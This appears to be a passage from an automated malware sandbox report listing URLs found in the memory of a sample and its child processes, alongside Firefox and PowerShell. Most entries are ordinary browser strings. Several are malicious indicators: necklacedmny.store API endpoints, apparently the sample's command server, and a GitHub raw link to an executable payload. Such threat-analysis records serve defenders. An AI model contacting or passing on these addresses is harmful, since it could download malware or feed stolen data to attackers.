Source: powershell.exe, 0000000B.00000002.2835914983.0000000005145000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2799753710.00000000054B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: powershell.exe, 0000000D.00000002.2799753710.00000000054B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: powershell.exe, 0000000B.00000002.2833933342.000000000348B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001F.00000003.3014465216.0000021D5BD67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3194476201.0000021D5C2FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://devtools-startup/content/DevTo
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-bu
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/RemoteWebNavigat
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/addons/SitePerms
Source: file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001F.00000002.3191716971.0000021D5BF2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 0000001F.00000002.3191716971.0000021D5BF2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 0000001F.00000003.2952487746.0000021D5AD57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: d40e036167.exe, 00000011.00000002.2961003530.000000000166F000.00000004.00000020.00020000.00000000.sdmp, d40e036167.exe, 00000011.00000003.2958193856.000000000166F000.00000004.00000020.00020000.00000000.sdmp, d40e036167.exe, 00000011.00000003.2957519581.000000000166F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3194476201.0000021D5C2AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.3008843305.0000021D5D477000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001F.00000002.3194476201.0000021D5C2AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwderIdL
Source: firefox.exe, 0000001F.00000002.3188573044.0000021D5BD0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3186032773.0000021D5BCDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: powershell.exe, 0000000B.00000002.2835914983.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2799753710.0000000005361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001F.00000002.3141634658.0000021D562AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: firefox.exe, 0000001F.00000002.3141634658.0000021D562AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 0000001F.00000002.3166689700.0000021D5AA44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3189282496.0000021D5BEB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001F.00000003.2952487746.0000021D5AD57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001F.00000002.3189282496.0000021D5BEE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001F.00000002.3141634658.0000021D562AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001F.00000002.3141634658.0000021D562AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: powershell.exe, 0000000D.00000002.2807610626.00000000063C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.2807610626.00000000063C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.2807610626.00000000063C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: firefox.exe, 0000001F.00000002.3134078265.0000021D4AA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001F.00000003.2995721181.0000021D62929000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001F.00000003.2995721181.0000021D62929000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: f324957d91.exe, 00000010.00000002.2889844017.0000000000A2C000.00000040.00000001.01000000.00000011.sdmp, f324957d91.exe, 00000010.00000003.2849204147.000000000529B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001F.00000003.2952487746.0000021D5AD57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001F.00000003.3014465216.0000021D5BD67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166175514.0000021D5A965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166175514.0000021D5A965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000003.3031989438.0000021D5C96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001F.00000002.3150432770.0000021D56BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: powershell.exe, 0000000D.00000002.2799753710.00000000054B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: firefox.exe, 0000001F.00000003.2995721181.0000021D62929000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001F.00000003.2952487746.0000021D5AD57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: Session.exe, 00000009.00000000.2732827422.0000000000C52000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/vonuch1/start/raw/refs/heads/main/khtoawdltrha.exe#C:
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: powershell.exe, 0000000D.00000002.2799753710.0000000005CBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2799753710.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001F.00000003.3014465216.0000021D5BD67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 0000001F.00000002.3182187126.0000021D5B7AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%host_frecency
Source: firefox.exe, 0000001F.00000002.3182187126.0000021D5B7AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166175514.0000021D5A965000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3158800052.0000021D58403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166175514.0000021D5A965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166175514.0000021D5A965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001F.00000002.3150432770.0000021D56BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: file.exe, 00000000.00000003.2122824469.0000000001119000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154839690.000000000111E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123271549.000000000111E000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2915907138.0000000005124000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2843030562.0000000005111000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2916475269.0000000005128000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2843129204.0000000005113000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2907509142.0000000005128000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2916092827.00000000006DB000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2916287948.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3076811985.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2901260329.0000000005122000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.3010756627.0000000001468000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.3013020839.0000000001468000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.3030153241.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: d816f1d41e.exe, 00000017.00000003.3010756627.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2155065901.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154762098.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api2;
Source: d816f1d41e.exe, 0000000E.00000003.2908952716.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2916092827.00000000006DB000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2916287948.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2933886787.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077011273.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiBk
Source: d816f1d41e.exe, 0000000E.00000003.2901374661.000000000511E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiLoc
Source: d816f1d41e.exe, 00000017.00000003.3010756627.0000000001468000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.3013020839.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apib
